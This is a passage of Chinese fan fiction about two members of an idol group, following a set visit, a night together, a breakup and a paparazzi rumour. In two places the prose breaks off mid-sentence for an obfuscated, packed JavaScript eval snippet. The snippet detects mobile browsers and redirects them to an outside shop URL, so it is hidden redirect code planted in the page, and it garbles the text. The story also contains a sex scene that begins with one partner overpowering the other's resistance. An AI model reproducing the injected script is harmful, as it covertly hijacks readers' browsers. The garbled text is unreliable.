“小江你快去和你队友说话吧,是不是叫贺子炎?名字好听人也长得帅,你们快去聊天。” “对啊我们就不打扰你们聊天啦。” 江淼还穿着戏服,是一件很脏的T恤衫,贺子炎张开双臂就想抱他,被他小声阻止了。 “我身上很脏,刚拍完一场失火戏……” 可贺子炎根本没有在意,直接抱住了他,在他耳边低声说。 “我很想你。” 在这个短暂的拥抱里,江淼的心跳快得好像要死掉了。 贺子炎退出来,给他一个很开心的笑,有些晃眼,又救回了他。 “你的头发都是乱的。”江淼抬手,替他拨了拨。片场里有人叫他在戏里的名字,他下意识回头,“哎,来了。” 应完,他又回头对贺子炎说:“你要不先去休息?我让助理带你……” “哎呀我的小队长。”贺子炎笑了,攥住他的手捏了捏,“别替我操心了,赶快去拍戏吧,都在等你。” 江淼这才点头,“那我走了。” 回到现场,对手戏的女演员就和他开玩笑。 “你这个队友一看就讨小女生喜欢。” 江淼笑笑,“我也觉得。” 他们从上午拍到晚上十点,他终于结束自己的戏份,迈着沉重的步子离开现场,去到休息区找助理。没想到刚走进去,他就看到了缩在椅子上睡着了的贺子炎。 那么高的人,缩在这儿,看着怪可怜的。 坐在一旁小板凳上的助理看到江淼,立刻收了手机朝他走过去。 “淼哥,我说带他走的,他怎么都不走。” “一直在这儿?”江淼压低了声音。 “没有,他在监视器那儿看了你好久,又去现场远远地看你,后来才听我的话来这儿的,一坐下来没多久就睡着了。” 江淼半蹲下来,盯了一会儿贺子炎的睡脸。 是有多累啊。 他忽然想起贺子炎之前在微信对他抱怨的,一录就是一个通宵的节目。 这么辛苦还非要来。 他对着贺子炎的眼睛吹了口气,一下就把贺子炎吓醒,差点从椅子上栽过去,得亏江淼眼疾手快,抓住了贺子炎的胳膊,才没酿成惨祸。 “吓死我了,我梦到我坐过山车甩出去了。” 江淼笑了,把他拉起来。 “回去睡吧。” “回去?”贺子炎人还是懵的,“回哪儿啊。” 一旁的助理插话说,“现在回北京吗?是不是有点赶啊。” 贺子炎一下子就清醒了,“北京?我不回去。” 江淼叹了口气,“谁说现在回北京啊,都几点了,先去我酒店歇会儿吧。” 这个决定贺子炎非常满意,在车上都哼起了小曲儿。 “你写的?”江淼扭头看他。 “你怎么知道?”贺子炎有些意外,“猜的?” “那不然呢。”江淼笑了笑,“挺好听的,起了名字吗?” “嗯……”贺子炎想了想,“小裴起了个暂定的名字,叫游过这片海。” “听起来挺有意思的。”江淼看向车窗外,想到了贺子炎说过的临海南方城市,还有他曾经的生活。 下了车,抵达酒店,他们和助理分开,江淼直接带着贺子炎去了他的房间。贺子炎的心情很好,整个房间很整洁,但充满了江淼的痕迹,他习惯用的香水,他送给江淼的笔,还有江淼喜欢喝的茶。 “饿不饿?我可以叫个……”江淼刚开口,贺子炎就转身,习惯性地伸手搂住了他的腰。 他把头埋在江淼的肩膀,“我还以为你要给我重开一间房。” 江淼犹豫了一下,也抬手抱住他,“你如果想的话,现在也不迟啊,我打个电话……” “我想不想你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727019|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道吗?”贺子炎搂得更紧了,几乎让江淼喘不过气,他侧了侧头,轻而短促地吻着江淼的侧颈,喘着气,手伸下去握住江淼的手,逼迫着与他十指相扣,一步步把他带到墙壁边。 他将江淼的两只手腕交叠起来,用一只手并住摁在他头顶,固定好,这样江淼就没办法反抗,他可以毫无障碍地同他接吻,一个有些艰涩的吻。 其实江淼一开始还是有反抗,但这些反抗完全被贺子炎的强势吞没了,到最后,他能做的,也只是顺从彼此的欲望。 他像一颗橙子被很艰难地剥下表皮,房间里没有风,但他觉得冷,贺子炎很快抱紧了他,给他温暖,给他可以逃离一切疲累的一个密境,给他很多很多看起来很像是爱的情绪,对他说很多个“我很想你”,但也只是“我很想你”。 重重地倒在床上的时候,江淼的头很晕,像是喝醉了,可他分明是清醒的。 “你想我吗?”贺子炎不断地吻他,看着他,对他笑,用很可爱的语气逼问他,“快说,想不想?” 江淼盯着贺子炎,很安静地盯了一会儿,在贺子炎开始不安的时候抬起手,搂住他的脖子,吻了上去。 他像是自我放弃,想知道到底贺子炎会不会突然间意识到他不是女人,突然放弃,半途醒悟,然后离开这里。 为了得到答案,江淼很主动地、像是邀请一样,勾得贺子炎根本没有选择,他本来就被甜蜜冲昏了头脑。他们用了很不合尺寸的安全套,在非常不合时宜的地方,以非常不合适的关系,上了床。 贺子炎过程中不太说话,显得格外沉默,只在最后抱住他的时候,连续说了好几句重复的话。 “不要离开我。” “不要走。” 江淼不知道他为什么会这么想,他们明明是分不开的关系,是队友。 凌晨三点,恢复了一点力气的江淼想要抽烟,被贺子炎拦住。他从背后抱住江淼,扣住他的手臂,一点缝隙也没有留,但很温柔地吻着他的后颈、耳廓和肩膀,像个完全陷入爱情的小男生,直到甜蜜地睡着。 江淼持续地感受着贺子炎的心跳,汲取着他带来的温暖,感觉他的呼吸变得平稳,才小心在他怀里地转过来,静静凝视贺子炎睡着的脸。 他在心里做着批判,认定自己是一个很不负责任、很自私很无耻的人,说着要做一个好队长,但最后还是拖着贺子炎走向了一条不归路。 即使这样,行动上他还是靠近了贺子炎,吸着他呼出来的鼻息,在他的额头印上自己的吻。 最初明明是想和贺子炎拉扯,最后拉扯的,却是自己的心。 第二天醒来的时候,贺子炎的头很痛,他挣扎着睁开了眼,摸了摸身边,发现床空荡荡的,于是很快清醒。 江淼不在房间里,他一转头,看到床头矮柜上用茶杯压住的一张字条,还有桌子上的早餐。 [我早上有很多场要拍,不能迟到,看你睡得很香就没有叫醒你。我问了小文才知道你今天还有行程,别耽误了,给你点了你爱吃的,吃完再去赶飞机,不能饿着肚子,北京见。] 贺子炎盯着看了很久,最后很仔细地折好这张字条,收进自己的上衣口袋,然后坐在桌边吃完了所有东西,拍下照片发给江淼。 [任务完成,我等你。] 江淼杀青的时候,大家都有工作,所以他自己在剧组吃了饭就离开了。回到北京,那种闷热到透不过气的天气终于消失,只剩下燥热。 回去的路上程羌给他打了电话,告诉他自己生病的事。 “你别告诉他们几个啊,小病。” “严重吗?”江淼问他,“要不要紧?” “就动个小手术而已,没事儿。”程羌叹了口气,“工作压力大了点儿,你不知道,我每天就提心吊胆的,一会儿怕那些变态私生跟踪你们,又担心你们出点儿什么事上热搜,热搜上看到你们的词条我都咯噔一下。” “羌哥,你不要这么操心,这样很累的,是个人都没办法这样工作。” “我知道。”程羌在电话那头笑,“有你这样的队长,已经帮了我不知道多少忙了,你在呢,我就觉得你们这个小破团有人顶着。” 江淼听了这句,心却沉下去。 “没有……我也没做什么。” “你已经很棒了,淼淼。”程羌笑了笑,“总之呢我现在是要稍微躲个清闲,你帮我看着点儿他们啊。” “嗯。” 挂断了电话,江淼也从电梯里出来,独自往练习室走。他们的几个练习室之间有两间录音室,其中一间套间经常被他们挪用当做储藏间,江淼想起自己的琴之前落在那里,打算去拿。 他解了锁,推门进去,打算进入里面的录房里取走琴。 为了减少噪音,这里的密码锁都是静音,地板上铺满了地毯降噪,所以里面的说话声愈发明显。 江淼一愣,顿住脚步。 透过不窄的门缝,他撞见了不应该看到的,裴听颂将方觉夏抱到桌子上,正搂着他的腰亲吻,一路往下,吻到了锁骨。 江淼后退一步,很小心地转身,很轻地带上了门。 站在门外,他的心依旧跳得好快。 突然,走廊出现一个人影,江淼看过去,是看到他笑得一脸灿烂的贺子炎。 他是知道江淼今天要来,特意来公司找他的。 贺子炎正要开口叫他,江淼立刻抬手,对他做出噤声的动作。 有些疑惑,贺子炎原地不动了,江淼想了想,看了一眼周围,压着嗓子大声地咳嗽了几声,然后抓着贺子炎的手臂离开了这里。 上了楼,江淼带着贺子炎走到楼上,公司为他们新租下的地方,去到贺子炎的编曲室才停下。 “怎么了?”贺子炎有些奇怪,关上了门,也锁好。 “没什么……”江淼摇头,可方觉夏和裴听颂接吻的一幕还在他眼前。 贺子炎走过来,歪着头凑近看他,又毫无征兆地亲了亲江淼的脸颊,然后是他的鼻梁,“你怎么好像看到什么不该看的了?” 江淼抬眼看他,“今天的事不要说出去。” “我还什么都不知道呢。”贺子炎被逗笑了,搂住了江淼的腰,吻了上来,“你都不跟我说。” 江淼一下子没能推开他,看似被动、实则心甘情愿接受这个吻。 他心里无端地有些伤心。 他们这样,和裴听颂方觉夏又有什么区别呢。 不,也不一样,他们很可能是真心相爱的,他看得出来。 而他和贺子炎自己都不知道自己在做什么。 “啊差点忘了。”贺子炎想起来些什么,抱住江淼,“恭喜小队长杀青,终于可以见面了,你不想我吗?” 他不厌其烦地问着问过很多遍的问题,然后用期待的眼神望着江淼。 但江淼的思绪是飘忽的,完全无法停留在眼前。 他想到剧组里那个前辈的无心之言,想到自己对贺子炎前女友的告诫,想到程羌的话,太多太多,混杂在一起,压在他的心口,令他喘不过气。 贺子炎还在等答案,但他等到了江淼抬眼,轻轻推开他。 他说,“我觉得我们不应该再这样了。” 12. 营业悖论水火番外(五) 在江淼说完这句话的时候,他看到贺子炎的眉头很轻微很短促地皱了皱,眼神迷茫,仿佛根本没有听懂他说的话,令江淼的心很痛。 过了两秒,贺子炎笑了出来,好像想要缓和他们现在的气氛。他握住江淼的手臂,带着一点像是撒娇的语气,“你开玩笑吧,吓我一跳。” 江淼摇了摇头,凝视着贺子炎的双眼,又重复了一遍刚刚的话,然后接着说:“这样不好,我们再这样下去,就更回不了头了。” “我不懂,什么意思?”贺子炎皱着眉,仿佛很不能理解他的话一样,“你为什么突然……” “不是突然,我想了很久。”江淼努力地让自己看起来不那么在意,不那么伤心,但他第一次怎么都笑不出来。 “对不起。”他抬眼望着贺子炎,很诚恳地道歉,“从一开始我就不应该招惹你,是我故意的,我不止一次拿你寻开心,让你难过,是我太自私,太不管不顾了,真的很抱歉,以后……不会这样了。” 他看似自如地说着话,但从心脏开始,整个身体就像是在一点点崩裂,分解,就快碎在已经心碎的贺子炎面前。 贺子炎一言不发,他的样子看上去很想问点什么,但最后因为江淼的道歉而噤声。 江淼有些不忍心,抬起手,手指碰了碰贺子炎的手臂,“但我还是会和以前一样关心你,照顾你,像你的哥哥一样,我们就当这些天的事都没有发生过,还是很好的朋友,好吗?” 贺子炎定定地望着他,看了好久,最后低声开了口。 “你真的这么想?” 江淼最终还是点了头。 他们这样的关系,本身就是不正确的,是自己错误的接近导致的,是相互慰藉,难以维系,一触即破。 一桩桩事一个个责任压在他身上,让江淼幡然领悟,给了自己一巴掌。每一个人都可以不顾一切地追求自己想要的,也都有这个权利,但摸爬滚打着长大的他,早就失去那个能力了。 “好吧。”贺子炎很迟钝地扯了扯嘴角,“如果你开心的话。” 他不是个有底气去执着的人,反复询问的问题好像也得到了答案。 听到这一句,江淼悬着的一颗心终于落下,落到无边无际的深渊中,没有尽头。 离开编曲室,离开星图,他一个人在外面走了很久,一直走,走着回了宿舍所在的小区,很漫长的时间里,他的思绪几乎是凝固的,等到打开房门,独自躲进浴室里,江淼才意识到,自己终于可以哭了。 做这一行,他连在外面发泄情绪的权利都没有。 不知道为什么,他忽然就想到贺子炎那晚说的“不要离开我,不要走”,于是真的掉了眼泪。 就好像一切早有预兆。 从浴室里出来,江淼又变成了以前的江淼,满脸的温柔笑意,对每一个人都关怀备至,唯独不在乎他自己。 在对待贺子炎的时候,江淼会努力保持不变,和以前一样,所以就算朝夕相处,队内的几人也没有一个人发现端倪,一如他们暧昧的时候,同样无人知晓。 但贺子炎没那么能藏。 睡不着的第一天,他仔细回忆了一遍他们从认识到现在所发生的一切,想想才发现,从一开始江淼就没有明确表达过对他的好感,他们不知道怎么稀里糊涂就接了吻、上了床,好像什么都做了,但什么都不是。 为了逃避痛苦,他努力地投入到工作中,认真写歌认真编曲,麻痹自己。但他看到江淼就会难过,是根本控制不住的,所以他尽量不去看他,无论是私底下还是工作中。 这种回避甚至被粉丝发现,她们开始猜测是不是发生了什么,在她们眼中,过去的贺子炎什么时候都望着江淼,可现在却连一个对视也没有。 最后连路远都来八卦,问他是不是和队长发生什么事了。 “是啊。”贺子炎应声。 路远惊了,“真的?不是吧淼哥可啥都让着你。” 他笑了笑,张口就来,“他把我游戏机弄坏了,我让他赔,他不,所以我不高兴了,这会儿正冷战着呢。” 他说得有鼻子有眼,路远将信将疑,嘀嘀咕咕,“淼哥怎么玩儿起游戏了……” “那你去问他呗,问我干什么。”贺子炎往路远怀里扔了袋零食,把他使唤走了。 事后贺子炎自己都懊悔,不应该编出这么幼稚离谱的借口,路远是个受不了团队关系有一点点矛盾的人,一定会跑去跟江淼聊。 被他知道,一定觉得自己很可笑。 可说出去的话就没有反悔的余地,贺子炎只庆幸裴听颂去了美国,至少能让他一个人躲在房间里,少露点馅。 在编曲室里,贺子炎自己弹吉他,突然收到裴听颂的信息,问他有没有看他发的邮件,里面有录音,唱了他试的几段歌词。 贺子炎这才打开邮箱,把裴听颂的录音下载下来播放,听着听着,他忽然看到一条未读的邮件,湮没在一大堆无用的垃圾邮件之中,发件人是江淼。 裴听颂过去长居于海外,有发邮件的习惯,但江淼几乎没有,所以看到他的名字拼音时,贺子炎还反应了一下。 送达时间已经是两周前,那个时候江淼应该还在剧组,贺子炎并没有注意到。 他不知道发来的什么,怀揣着一种被审判的心情,贺子炎打开了这封被自己忽略的邮件。 那里面也是一段录音。 没听完裴听颂的,他就鬼使神差点开了江淼的,像做梦一样,他听到了江淼的声音。 他说:“子炎,这是我之前写的一个demo,编曲上我还是有点犹豫,你听听看,帮我想想好吗?” 后面就是他弹着钢琴,开始哼歌,没有什么歌词,都是一些听起来很舒服的拟声词,直到副歌部分,才有了几句具体的词。 “You are my daydream, daydream.” 江淼唱歌的声音和他说话一样,温温柔柔,很轻,夹杂着一点他独有的气声,配合着钢琴,真的有种如在梦中的错觉。 贺子炎静静地听着,心就一点点缩成一团,变成很硬很小的一个点,沉重地坠下来,几乎要洞穿他的身体。 和他一起度过的四年,真的像白日梦一样。 录音里的江淼唱完了,有些不好意思地笑了笑,说自己写得不好,让他随便听听。 可光是听声音,贺子炎都仿佛能看到他的笑脸。 他面对电脑,很安静地坐了许久,最后趴在桌子上,好像动都很困难。 裴听颂的消息一条接着一条发来。 [小裴魔王:火哥?你怎么不回我了?] [小裴魔王:这三段都不行吗?你都看不上??] [小裴魔王:不是吧,我很认真写的,你不吭声我今晚觉都睡不着了!] 约好一会儿一起去练舞的路远按照时间来了编曲室,却看到贺子炎十分丧气地趴在桌子上,一动不动。 他立刻在没有贺子炎的五人群发了条消息。 [手累了翻不动了:火哥好像真的挺在乎他的游戏机的,一个人闷闷不乐躲在编曲室,跟只病狗一样趴着。] 凌一秒回。 [大写的一:你这形容……我要去跟火哥告状,当心他揍你。] [卡莱多最强的男人:怪不得不回我消息呢,弄半天他正在emo呢。] [仙人掌快快长高:真的是因为游戏机吗?] 看到方觉夏的疑惑,路远也觉得有道理,于是艾特了江淼。 [手累了翻不动了:@不喜欢游泳,淼哥,你再给他买一个吧!] 但一直到晚上,江淼都没有回复这条消息,不过因为路远的事情很多,心又大,并没有太放在心里。 到了半夜,江淼才回。 [不喜欢游泳:嗯。] 他不是没有感受到贺子炎的回避,他以为他自己不会太在意,但事实相反,他完全高估了自己。就算他再怎么极尽全力去扮演过去的好队长,也无法在贺子炎撇开的眼神里回到过去的成熟和平静。 事情发生了就是发生了,他没那个粉饰太平的能力。 但他的成熟总带来过一些好处,比如当初那个还处在无法接受父母离世、哭闹不停的小女孩,如今也被拉扯大,很快就要结束高中生活。 “哥,我想考完就吃大餐,可以吗?你不用来接我,我们找个隐蔽点的餐厅和ktv怎么样?” 听着妹妹的声音,江淼的心稍稍静下来许多,回到了被人需要的感觉。 “嗯,你想去哪儿吃,我都陪你,昨天你凌一哥哥还说起来了,他也想去给你庆祝,觉夏给你买了裙子,已经给你寄过去了,哦对了,还有小裴送的球鞋,路远给你买的尤克里里,你记得给哥哥们打电话,谢谢他们。” “我知道。有哥哥真好。”江垚在电话那头撒娇,“没有你的话,哪有这么多哥哥惦记我啊。” 江淼笑了笑,没说话。 “对了,你没说子炎哥哥呢,他送我什么?他来吗?我好久没见他了,都有点想他。” 听到她问贺子炎,江淼顿了顿。 “他……挺忙的,不过我会问问他,你先别抱太大希望,如果有通告的话肯定就去不了了。” 江垚发出失望的声音,但没过多久又开始自我安慰,“好吧,子炎哥哥工作多也是好事,工作优先嘛,我考完了也可以去你们公司啊。” “你少露面吧。”江淼嘱咐了几句,“先别说这些了,好好复习好好考试,等考完了想要什么都有。” “嗯!” 江淼虽然承诺了妹妹,但思来想去,并没有把这些告诉贺子炎,他提前找小文了解了贺子炎的行程,知道他在高考的最后一天还有拍摄,晚上也不见得能结束,所以干脆没有说。 可等到他坐在订好的包间里,听江垚讲数学试卷多难的时候,贺子炎推门进来了。 他是带着笑进来的,身上穿着的短袖是他探班时穿过,眼熟得刺眼。这个意外之喜的手里还拿着一小束花,隔着他递给了一旁的江垚。 “恭喜小垚,苦日子终于熬到头了,火哥祝你金榜题名。” 江垚很开心地接过了花,惊喜地说:“子炎哥哥,我还以为你不来了呢,明明发消息的时候还说有工作。” 贺子炎摘了口罩,脱下帽子,笑着给自己倒了杯柠檬水,“怎么会,我们垚垚的好日子,我旷工也要来啊。” 凌一做呕吐状,“火火你太虚伪了,听得我快不行了,是吧淼哥。” 他倒靠在江淼肩上,没有太看到江淼的表情,只奇怪他怎么不接话,于是抬了抬头。 江淼笑了笑,“是啊。”他很快地转移了注意力,伸手摸了摸凌一的肚子,“你今天可少吃点,不然羌哥又说我没有好好监督你了。” “哎呀吃了这顿我一定好好减肥。” 江垚举起装了可乐的小杯子,和凌一碰杯,“一哥,我和你一起。” “好的三土妹妹。” 两个人都装得很像样,努力维持着表面和平。 凌一和江垚都是精力怪,有用不完的活力,吃饱了饭开始唱歌,一唱就是一晚上,期间凌一还喝了点酒,出来的时候要靠在江淼身上才站得住。 夏夜的风吹在身上柔柔的,但江淼莫名感到冷,他任由凌一靠着,听他说一些有的没的的话,注意力却全在一旁的贺子炎身上。 他们隔着大概三十厘米的距离,好像很远。 贺子炎两手插在口袋里,和江垚开着玩笑,问他在学校有没有喜欢的男生,才刚问出口,江垚就疯狂否认。 “你别说我了。”江垚抓住贺子炎的手臂,把他往自己这边拉了拉,等到确认被凌一缠住的哥哥听不到之后,才小心谨慎地开口。 “你是不是和哥哥闹矛盾了?” 贺子炎和她说话都要低头,听到这句,反而抬了抬下巴,下意识想往别处看。 “哎呀你别给我打马虎眼,我看得出来,你们根本就瞒不过我的。” 贺子炎伸出手,宽大的手掌摁在江垚的头顶,“你一个小丫头片子知道什么啊。” 江垚扒拉开他的手,“你吃饭的时候都没有和我哥说话,你们俩都没有看对方,一眼都没有,太明显了。” 贺子炎想了想,也是,这小姑娘也算是自己看着长大的,最清楚他们在一起什么样。 “没什么,小事儿,过段时间就好了。” “真的吗?”江垚很是怀疑,她静了静,又忍不住小声开口,“我也不知道你们发生了什么,我哥又是个报喜不报忧的人,对着我从来没喊过苦,我十八岁了,都没见他哭过一次。” 她像是很发愁似的,长长地叹了口气,又抬头看贺子炎,“你是他最好的朋友诶,如果他惹你生气了,你可以原谅他吗?” 贺子炎盯着她的眼睛,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727020|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来。 “你们兄妹两个真的是……” 江垚拽着他的手臂摇来摇去,“求你了,拜托你了。” “好好好。”贺子炎拿她没辙,叹口气,也终于在很多句谎话里夹了句真心话,“我没生过他的气。” “我怎么会生他的气呢。” 江垚还想说,突然听见凌一大喊着“车来了”,也立刻跟上去,小跑到江淼身边,和凌一一样挽住他的胳膊,然后回头,对贺子炎使眼色。 贺子炎跟在后面,走到车跟前,没有上去,隔着车门,他眼睛落在凌一身上,说的话却好像是对着江淼。 “我不和你们回去了,还有工作,先走了。” 凌一立刻坐起来,“啊?这么晚了还要去啊。” 贺子炎点头。 江淼没料到贺子炎在有工作的时候跑来,也没想到他会这样离开。 于是他忍不住开口,“我们送你吧。” 贺子炎看了眼手机,抬头笑了笑,“没事,接我的车马上到了。” 就这样,江淼靠着车窗,听着江垚和凌一乱七八糟的合唱,在后视镜里看着贺子炎不断倒退的身影,逐渐消失在城市的霓虹之中。 后来的三天他们都没再见面,彼此忙着各自的工作,时间一晃就过去。 但只要一闭眼,江淼的眼前就会浮现贺子炎推开门的样子。 他的戏谑,他的笑声,还有他回避的视线。 江淼有些后悔自己没有把聚餐的事告诉他,显得自己很小气,很耿耿于怀。 但这都不够他后悔的,令他没想到的是,贺子炎那一晚的出现,竟然引起了那么多的风波。 明明很谨慎的他,因为恍惚没有注意到狗仔的出现,他们在进入餐厅的画面、在外等车的画面全部被拍到,被曝光。 当时的贺子炎分明是在逃避江垚的追问,才会把手放在他头上,可这组照片被加以文字解读,就变了味道。 真相其实连江淼都不清楚。 他出道以来,一直将妹妹保护得很好,这是他的底线,但为了抹黑和污蔑他的队友,自己的妹妹被当成了枪。 知晓这件事的当即,他第一次没有听取程羌“冷静处理”的意见,擅自发布了澄清的微博。 再一刷新,他发现贺子炎也发了新的微博。 [@Kaleido贺子炎:四人聚会,庆祝淼哥的亲妹高考结束。现在不满足于编造我的身世了,还要给我安排个女朋友是吗?那我可就顺杆爬在线征婚了啊。] 他配上了合照,贴纸遮住江垚的脸。 江淼发现,他选的合照,基本都是凌一在最中间拿着手机拍的,这样他们中间就隔着两个人。 而他说的话也很明确,单身,没有女友,可以在线征婚。 其他队友为了他们,也纷纷转发微博,开着玩笑澄清谣言,本来应该很好笑的事,但江淼笑不出来。 他看着他们的合照,心里想,这么荒谬的绯闻也能传出来。 可下一秒,他又想,还是不会比和自己的队友上床更荒谬。 没让他想太多,晚上公司便召集他们回去开会,说了这些天的谣言,并且又一次重复对他们恋爱的态度。 江淼安静地听着,忽然间程羌对他说,“淼淼,别因为这种事难受,帮我跟垚垚也说一声,别放心上。” 他点点头,又给了他一个可以更放心的笑,“没事儿,她高兴还来不及呢。” 凌一也笑了,“是啊,和我们团女友粉最多的火哥传绯闻,可以吹一整年!” “嘁。”裴听颂毫不客气地讽刺,“人家亲哥哥是江淼,这就够吹了好吗。” 方觉夏也跟着笑了,“你们好幼稚。” 结束会议后,他们讨论起夏专的事,可聊来聊去,还是聊到绯闻中心贺子炎的身上。 “不过你还别说,”路远又看了一遍狗仔的照片,“火哥还挺有那种氛围感的。” 贺子炎挑了挑眉,“什么氛围感?” “就是那种偶像剧的感觉啊。”路远把图放大了,还投屏到投影上,“你们看,是不是很像那种路透。” 凌一啧啧了几声,“路远同学,你的人生除了嗑cp难道就没有别的事可做了吗?” 方觉夏被逗笑,手上的笔都掉了。 “其实现在想想还挺有意思的。”贺子炎的手转着笔,眼睛盯着桌子上的一个点,“也算是提前试了试恋爱的水,没想到网友反应这么大,连我前两任女友都扒出来了。” 他说完,下意识看向江淼。 说真的,连他自己都不知道为什么会说出这种话,像是故意找刺激。 可江淼就静静地坐在斜对面,盯着手里的歌词纸,没有半点反应。 “对啊,”路远逗他,“你不是说连你都没有你初恋女友的微信吗?网友真可怕。” “连微信都没有?”裴听颂打趣道,“那看来也不是很喜欢嘛。” 眼看着要被拆穿,贺子炎清了清嗓子,“没微信怎么了呢?就是没有啊。” 凌一嫌弃地撇了撇嘴,“火火一看就是那种只会玩弄小女生的渣男,你看他,浑身都是渣男味儿。” 贺子炎只想让他闭嘴,“我警告你别乱说话。” 路远还是很好奇,“哎火哥,你当时是怎么分手的啊。” 贺子炎本来还在和凌一说笑,听到这个问题,突然间静下来。 他想了想,有些自暴自弃地说:“我也不知道,好像……我总是会莫名其妙地和某个人在一起,然后对方又莫名其妙地离开,没给过我什么具体的理由。” “我都不知道那算不算恋爱。”他垂下眼,笑了笑。 “可能我就是……”贺子炎思考了一下,最终改变了措辞,“不太能留得住一个人吧。” 这几句话一瞬间改变了他们的气氛,路远看着贺子炎,后悔提出这样的问题。 “别说了别说了,讨论讨论专辑吧。”路远很生硬地扯开话题,“再拖就要变成秋专了。” 裴听颂也意识到什么,跟着说:“那不行,我写的歌词全是夏天的。” 凌一傻乎乎笑起来,“可以明年夏天发啊哈哈哈!” 听完贺子炎所说,方觉夏很突然地想起之前他和江淼在电梯里偶遇的女人,联想起什么,侧过脸看向江淼。 可他发现,十分钟过去了,江淼盯着的歌词根本没有翻页。 13. 营业悖论水火番外(六) 讨论会结束后,他们一起回宿舍,贺子炎一路上望着江淼安静的背影,想和他说话,可一直到上车都没能做出决定。 江淼坐在最后一排的靠窗,和往常一样盯着窗外,不发一言。 大约是因为发了那样的微博,说了那样的话,贺子炎心中总有不安,到了这时候,他竟然还想着用这些去试探江淼的心,明知道是没有结果的。 思来想去,他还是打开了许久没有聊天的置顶对话框,编辑了一条消息,删删减减,最后只发出一句无关痛痒的话。 [别想太多,舆论已经转好了,大家基本都相信她只是你妹妹了。] 发出去之后,他又觉得有些奇怪,补充了一句。 [现在想想我当时还真不该去的,添了这么多麻烦,帮我跟小垚道个歉,害她也被拍到。] 过了好久,他才收到江淼的回复,两条。 [不是你的错,你能去,她很开心,不在乎这些。] [你也别在意,最近工作这么辛苦,早点休息吧。] 短短两行字,贺子炎盯着看了好久,看到都快认不得这些字,车里好晕,他最后还是关掉手机,闭上了眼。 明明以为自己不去看江淼,不去找他,慢慢地就会放下。 可哪怕是隔着屏幕的两句安慰的话,就可以击垮他脆弱的意志力。 他不明白,为什么江淼可以说抽离就抽离,而且竟然可以真的和从前一样,对他说那些关心的话。他搞不懂究竟是江淼太成熟,还是自己太幼稚太浅薄,怎么都走不出来。 回到宿舍,他收到方觉夏的一条消息。 [子炎,那天我告诉你我和队长遇到的女生,是不是就是你前女友啊,队长应该和你也说过这件事对吗,我不知道怎么回事,感觉队长今天情绪不高,可能是我想得太多吧,他平时很在乎我们的感受,每次都是他照顾我们,这次可能是因为妹妹被曝光的事,有点着急,不知道是不是对你说了什么,你别放心上,队长对你真的很好很好的,很在乎你,你知道的吧。] 看到这长长的一条消息,贺子炎不知应该作何反应。 他并不想自己和江淼的事影响到身边的人,让他们替他担心。 想了想,他回复了方觉夏。 [我知道的,觉夏你别担心我们,没什么,就是最近发生的事太多了,我和他聊聊,过几天就好了。] 贺子炎躺在床上,睁着眼,天花板一片白,他好像回到了躺在江淼酒店里的那一天,他才忽然发现,其实那一天的江淼就是不开心的,哪怕他邀请了自己留下,也看似邀请他上了床,但江淼没有笑过。 他平时装得洒脱,但其实知道自己不是一个成熟的人,其实面对江淼就会很黏人,很需要肢体接触,也很容易让人厌倦。或许江淼一开始就只是想玩玩而已,没想当真,所以在他表现出独占欲的时候,他终于忍受不了了。 他们的关系给江淼带去的痛苦超过快乐,就不对了。 贺子炎不希望江淼痛苦。 如果回到过去,江淼会开心,他也愿意努力。 从那天以后,贺子炎彻底放弃了试探,他真的决定当这些事从没有发生过。 他表现得非常明显,至少在江淼看来是这样,和他暧昧之后,贺子炎从来没有叫过他“淼哥”,往往都是“队长”、“小队长”这样稍带亲昵的称呼,在床上叫他“江淼”。 但他现在又回到过去的称呼,开始敢在成员面前给他递东西,开玩笑的时候敢看他的眼睛,敢对他说笑。 那些事真的就变成了一场虚无的梦,只要贺子炎也忘记,就好像真的不存在过。 这是江淼想要的,所以他觉得自己没必要难过,也不应该难过。 “淼哥。”裴听颂听了他写的原版demo,“你写得……怎么越听越有点伤感呢,我的词好像不太搭,我寻思公司让我写点恋爱的感觉,这是不是太恋爱了?” 江淼心里清楚他正处在热恋期,当然写什么都是甜蜜的。他笑着打趣裴听颂,“像你这样的单身青年都可以写出这么甜的歌词,我这样的,写出伤感一点的曲子也没什么毛病吧,就按照你的来,反正编曲子炎可以搞定,想做得甜蜜点应该也不会太难。” 裴听颂听到单身两个字,有些心虚地瞥了眼方觉夏,方觉夏也心虚地撇开眼。 “可以啊。”贺子炎没什么太大的反应,笑着应下来,“这有什么难的,我们的编曲老师也做过很多小甜歌了。” 他们像过去那样很努力地为专辑工作,通宵熬夜,为了一两句和声反复斟酌。 贺子炎歪靠着裴听颂,睡着在编曲室的时候,江淼还是会给他披上薄毯,但他不会吻他的额头了。贺子炎也会在江淼说话的时候看着他的眼睛,只是不会再像过去那样笑了。 为了夏专的MV,他们飞往青岛取景拍摄。那座城市很美,葱郁的树荫半掩红色的房顶,碧海蓝天。他们六人站在信号山上,倚靠着栏杆看漂亮的建筑与海岸,还没来得及合影,朦胧的海雾就湮没一切。 在海边拍摄,江淼怕水,偏巧导演又给他安排了一个水下的镜头,他想到之前贺子炎在酒店,抱着他说他是在海边长大的,很会游泳,以后可以教他,保证他学会。 “导演,这个镜头可以换我吗?” 